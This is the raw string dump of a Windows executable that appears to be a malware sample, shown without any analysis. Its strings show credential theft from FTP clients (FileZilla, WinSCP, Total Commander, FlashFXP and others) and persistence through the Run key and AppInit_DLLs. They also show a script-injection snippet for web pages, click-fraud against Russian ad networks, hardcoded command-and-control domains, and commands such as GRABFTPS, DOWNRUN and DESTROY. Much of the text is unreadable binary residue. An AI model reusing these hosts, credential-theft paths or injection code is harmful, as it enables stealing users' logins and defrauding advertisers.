!This program cannot be run in DOS mode.
`.rdata
@.data
Vj VVV
QPQQj2
VPVVj8
GVPVVQ
QPQQj6
EpPSj-
EX9E\~
F;5TPA
t|f97tw
D$ ;D$
AAFFHu
QQSVW3
Pj"j^[S
Pj"j^[S
WShh=B
QWShHKA
Qj"j^^V
QVh ?B
QSVhxBB
QVhPAB
Qj"j^^V
QWVhH2A
Pj"j^[S
Pj"j^[S
QWSh`FB
Pj"j^[S
QWShXPA
Pj"j^[S
QWSh(MA
MpQWj^
Pj"j^^V
QVh(PA
QWVhP0B
QVh@=B
PVVj VVV
YYu9!D$
D$,vT2
ttSVj@P
YtFVh
t'h$PA
u%AAFFB;
URPQQhX
;t$,v-
UQPXY]Y[
VC20XC00U
Gu/wIu]JGu
Gu-JGu
4Gu BGu
zGu+IGu"
Gu_CGu
)IusAGuH
Iu~ZGu
TGuPIGu6
GuZFGu
DGu\?Gu
ZGuZDGuBDGu
ZGu5DGu
4GuQQGu#RGuLBGu
AtlAxWinInit
AtlAxAttachControl
AtlAxGetControl
;password=
;user=
;port=
;server=
__scMMdj490)0-Osd
InternetQueryDataAvailable
InternetOpenUrlW
InternetCloseHandle
InternetAttemptConnect
InternetOpenW
InternetReadFile
InternetConnectW
HttpSendRequestW
InternetSetOptionW
HttpOpenRequestW
InternetSetPerSiteCookieDecisionW
InternetClearAllPerSiteCookieDecisions
WININET.dll
StrStrIA
PathRemoveFileSpecW
StrStrIW
PathMatchSpecW
PathCombineW
wvnsprintfW
SHLWAPI.dll
DeleteFileW
CreateProcessW
SetUnhandledExceptionFilter
GetLastError
ExitProcess
LoadLibraryW
GetProcAddress
VirtualProtect
GetPrivateProfileIntW
ExpandEnvironmentStringsW
GetPrivateProfileStringW
SetFilePointer
SetEndOfFile
HeapAlloc
GetVersionExW
SetWaitableTimer
SystemTimeToFileTime
CreateWaitableTimerW
HeapFree
ReadFile
FindNextFileW
GetModuleFileNameW
WaitForSingleObject
GetTimeZoneInformation
GetFileTime
CreateFileW
GetTickCount
CloseHandle
GetFileSizeEx
VirtualFree
GetProcessHeap
GetCurrentDirectoryW
VirtualAlloc
HeapReAlloc
GetSystemTime
GetFileSize
FindClose
WriteFile
GetLocalTime
FindFirstFileW
GetModuleHandleW
OpenMutexW
GetCommandLineW
CreateMutexW
WaitForMultipleObjects
CreateThread
CopyFileW
HeapCreate
MultiByteToWideChar
WideCharToMultiByte
KERNEL32.dll
GetSystemMetrics
MessageBoxW
SetWindowPos
SetWindowLongW
PeekMessageW
GetWindowLongW
DispatchMessageW
GetForegroundWindow
CharLowerW
CreateWindowExW
FindWindowW
SetParent
SetForegroundWindow
USER32.dll
RegEnumKeyExW
RegCloseKey
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
RegCreateKeyExW
ADVAPI32.dll
SHGetFolderPathW
SHELL32.dll
CoCreateInstance
OleInitialize
CoInitialize
ole32.dll
OLEAUT32.dll
RtlUnwind
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
IsDebuggerPresent
GetVersionExA
VirtualQuery
&ref=%s&real_refer=%s
&real_refer=%s
&condition_id=
&kwtype=
&ref=%s
From: true
^client=
From:
lfolder
SOFTWARE\smartftp\client 2.0\settings\backup
personal favorites
SOFTWARE\smartftp\client 2.0\settings\general\favorites
Password
FavoriteItem
ftp*commander*
ftplist.txt
portnumber
SOFTWARE\martin prikryl\winscp 2\sessions
hostname
SOFTWARE\Far2\Plugins\ftp\hosts
SOFTWARE\Far\Plugins\ftp\hosts
*filezilla*
/*/*/Server
*ghisler*
*total*commander*
*totalcmd*
installdir
ftpininame
SOFTWARE\Ghisler\Total Commander
password
username
default
connections
wcx_ftp.ini
*flashfxp*
datafolder
SOFTWARE\FlashFXP\3
history.dat
quick.dat
sites.dat
yA36zA48dEhfrvghGRg57h5UlDv3
ftp://%S:%S@%S:%u
ftp://%s:%s@%s
ftp://%s:%s@%s:%u
PriorHost
TimeCorr
UniqueNum
http://
AppEvents\Schemes\Apps\Explorer\Navigating\.current
SOFTWARE\Classes\MIME\Database\Content Type\
text/html
application/x-javascript
text/javascript
SOFTWARE\Microsoft\Internet Explorer
JOB FILE
^nocrypt
Page generated at:
setvar
msec1970
b_nav_time
Software\Microsoft\Windows NT\CurrentVersion\Windows
AppInit_DLLs
C:\WINDOWS\system32\gbdwpbm.dll
var scr= document.createElement("script"); scr.src = "%s"; document.getElementsByTagName("head")[0].appendChild(scr);
&host=
track_events
javascript
begun.ru/click.jsp?url=
an.yandex.ru/count
_blank
"domain"
"encrypted"
"condition_id"
"kwtype"
<domain>
</domain>
</url>
<title>
</title>
http://click0
Shell.Explorer
AtlAxWin
eventConn
Shell_TrayWnd
Accept: */*
Referer:
Accept-Language: ru-RU
Accept-Encoding: gzip, deflate
User-Agent:
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
%SystemRoot%\System32\%s.exe
%APPDATA%\%s.exe
/updatefile3
\netprotdrvss.exe
job^rev=%s^os=%s
http://ow5dirasuek.com/
http://mkkuei4kdsz.com/
http://gysopui.net/
http://gysopui.net/
begun.ru
confirm^rev=%s^code=%s^param=%s^os=%s
jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
^rcn=1
ZORKASITE
BEGUNFEED
REKLOSOFT
TEASERNET
LUXUPXML
SUPERPOISK
DIRECTST
LIVINETCH
UPDATE
DOWNRUN
CLIENTDEL
PRIORITYHOST
GRABFTPS
RECONNECT
COOKREJCT
DESTROY
